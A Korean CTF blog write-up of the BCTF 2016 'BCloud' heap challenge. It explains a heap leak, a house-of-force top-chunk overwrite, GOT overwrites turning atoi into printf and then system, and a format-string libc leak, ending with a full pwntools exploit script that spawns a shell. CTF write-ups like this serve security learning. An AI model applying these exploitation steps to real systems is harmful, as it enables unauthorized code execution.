ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [BCTF] BCloud
    CTF 2016. 10. 23. 19:41

    힙 관련 문제를 풀어보려다가 우연히 BCTF 의 Bcloud문제를 알게되었다


    이 문제는  hof의 기본을 다루는 문제인데, 힙 베이스를 릭하는것과 탑청크 위치까지 계산하는건 쉬웠지만 라이브러리 릭에서 애를 먹었다.

    (libc leak은 writeup을 참고했다 ㅠㅠ)




    처음 호출하는 메뉴에선 NAME과 HOST와 ORG를 받는데, 여기서 heap base leak이 가능하고, HOF를 유발할수있다.




    s를 64바이트만큼 받는다. 하지만 v2를 malloc을 통해 64바이트만큼 할당한다.


    strcpy를 통해 name을 v2에 널바이트없이 넣어주게되는데, 이렇게되면 heap 을 leak할수가 있다.




    바로 뒤에 힙주소가 있다. 


    printf로 그냥 출력해버리기때문에 heap을  leak 할 수 있고, 이 릭을통해 우리는 top chunk의 주소를 알수있고, 그 주소에 0xffffffff를 덮어 house of force 공격을 할 수 있다.


    그리고 나서 다음 코드를 보자




    strcpy를 통해 null byte없이 이어지게된다. top chunk의  prev_size를  overwrite할수있기때문에, org에서 topchunk를  overwrite 할 수 있다





    NEW NOTE에선 read를 통해 입력받고 그 값을 atoi로 리턴해주는 함수가있다.


    이 함수에서, hof size를 넣어주게되면 Input the Content에서 got를 overwrite 해줄수있다.


    여기서 의문점은 hof에서 (function@got - topchnk_addr)-0x8로 계산했는데 여기선 -0x8하면안되고 -0xc로 해주고, AAAA + got로 해줘야됬다.


    아마 해당 got 전에 w권한이없나보다.


    여기서 got overwrite를 어떻게 할까 생각하다가, option을 받을때보면 atoi 해주는 함수를 사용한다




    저 함수안을 구경해보자




    우리가 만약 atoi를  printf로 덮어버린다면, printf(&nptr)이 될것이다. 그럼 포맷스트링 버그가 충분히 가능해진다.


    이렇게 LIBC LEAK이 가능하다.


    이제 libc_leak을 해서 system주소를 알아냈을거고, 다시 덮어줘야하는데, hof 버그를 한번더 사용해야한다.


    그래서 EDIT 메뉴가 존재한다.



    이 메뉴를 통해 다시 한번 hof를 통해 overwrite 할 수 있다.


    하지만 이미 옵션을 받을때의 atoi를 printf로 바꿔주었기때문에 return atoi(값);을 이용해서 리턴 해줘야한다.


    edit 버튼이 3, id값이 1이니까, aaa, a를 각각입력해주면 edit 기능의 id 1번이 실행될 것이다.




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    from pwn import *
     
    = remote("10.211.55.23",11000)
     
     
    elf = ELF('bcloud')
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']
    atoi_got = elf.got['atoi']
    printf_plt = elf.plt['printf']
     
     
    print p.recvuntil("Input your name:")
    p.send("A"*64)
    print p.recvuntil("A"*64)
    heap_leak = u32(p.recv(4))
    topchunk = heap_leak + 0xd8
    hof_size = ((atoi_got-topchunk) - 0xc)
    print hex(heap_leak)
     
    print p.recvuntil("Org:")
    p.send("A"*64)
    print p.recvuntil("Host:")
    p.sendline("\xff\xff\xff\xff"#top_chunk 
     
     
    print "[*] HEAP_ADDR: " + hex(heap_leak)
    print "[*] topchunk addr: " + hex(topchunk)
    print "[*] puts@got: " + hex(puts_got)
    print "[*] hof_size: " + hex(hof_size)
    print p.recvuntil("option--->>")
    p.sendline("1")
    print p.recvuntil("Input the length of the note content:")
    print str(hof_size)
    p.sendline(str(hof_size))
     
    print p.recvuntil("option--->>")
    p.sendline("1")
    print p.recvuntil("Input the length of the note content:")
    p.sendline("8")
    print p.recvuntil("Input the content:")
    p.sendline("A"*4 + p32(printf_plt))
     
    print p.recvuntil("option--->>")
    print p.recvuntil("option--->>")
     
     
    p.sendline("%31$p")
     
    print p.recvuntil("\n")
    libc_start_main = 0xf7e31ad3-243
    image_base = libc_start_main - 0x199e0
    system_addr = image_base + 0x3fe70
    print "[*] LIBC_BASE: " + hex(image_base)
    print "[*] SYSTEM_ADDR: " + hex(system_addr)
     
    p.sendline("3"*3)
    print p.recvuntil("Input the id:")
    p.sendline("1")
    print p.recvuntil("Input the new content:")
    p.sendline("AAAA" + p32(system_addr))
    p.sendline("/bin/sh")
    # print p.recvuntil("option--->>")
    # p.sendline("1")
    # print p.recvuntil("Input the length of the note content:")
    # p.sendline(str(hof_size))
     
    p.interactive()
    cs

    'CTF' 카테고리의 다른 글

    WITHCON Finals - jnjn  (0) 2016.10.25
    WITHCON Finals - BPTime router  (1) 2016.10.25
    [DEFCON 2014] Babyfirst heap  (1) 2016.10.20
    WITHCON - malloc (double free bug)  (0) 2016.10.10
    h4ck1t - Capture Angola  (0) 2016.10.03

    댓글

Designed by Tistory.